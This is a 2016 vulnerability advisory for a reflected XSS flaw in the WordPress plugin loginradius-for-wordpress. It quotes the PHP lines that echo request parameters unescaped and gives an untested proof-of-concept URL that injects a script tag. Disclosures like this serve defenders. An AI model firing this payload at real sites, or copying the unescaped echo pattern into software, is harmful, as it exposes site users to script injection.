Advisory #: 568
Title: Reflected XSS in wordpress plugin loginradius-for-wordpress v7.1.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/loginradius-for-wordpress
Downloads: 341385
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: loginradius-for-wordpress
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./loginradius-for-wordpress/lr-social-login/common/loginradius-ajax.php: 268: <input type="hidden" value="<?php echo $_GET['key'] ?>" name = "session"/> 273: <input type="hidden" value="<?php echo $_GET['key'] ?>" name = "session"/> 313: <input type="hidden" value="<?php echo $_GET['key'] ?>" name = "session"/> 318: <input type="hidden" value="<?php echo $_GET['key'] ?>" name = "session"/> 347: echo $_GET['message']; 356: <input type="button" value="OK" class="inputbutton" onclick="location.href = '<?php echo $_GET['redirection'] ?>'"> The variable key appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./loginradius-for-wordpress/lr-social-login/common/loginradius-ajax.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/loginradius-for-wordpress/lr-social-login/common/loginradius-ajax.php?key="><script>alert(1);</script><"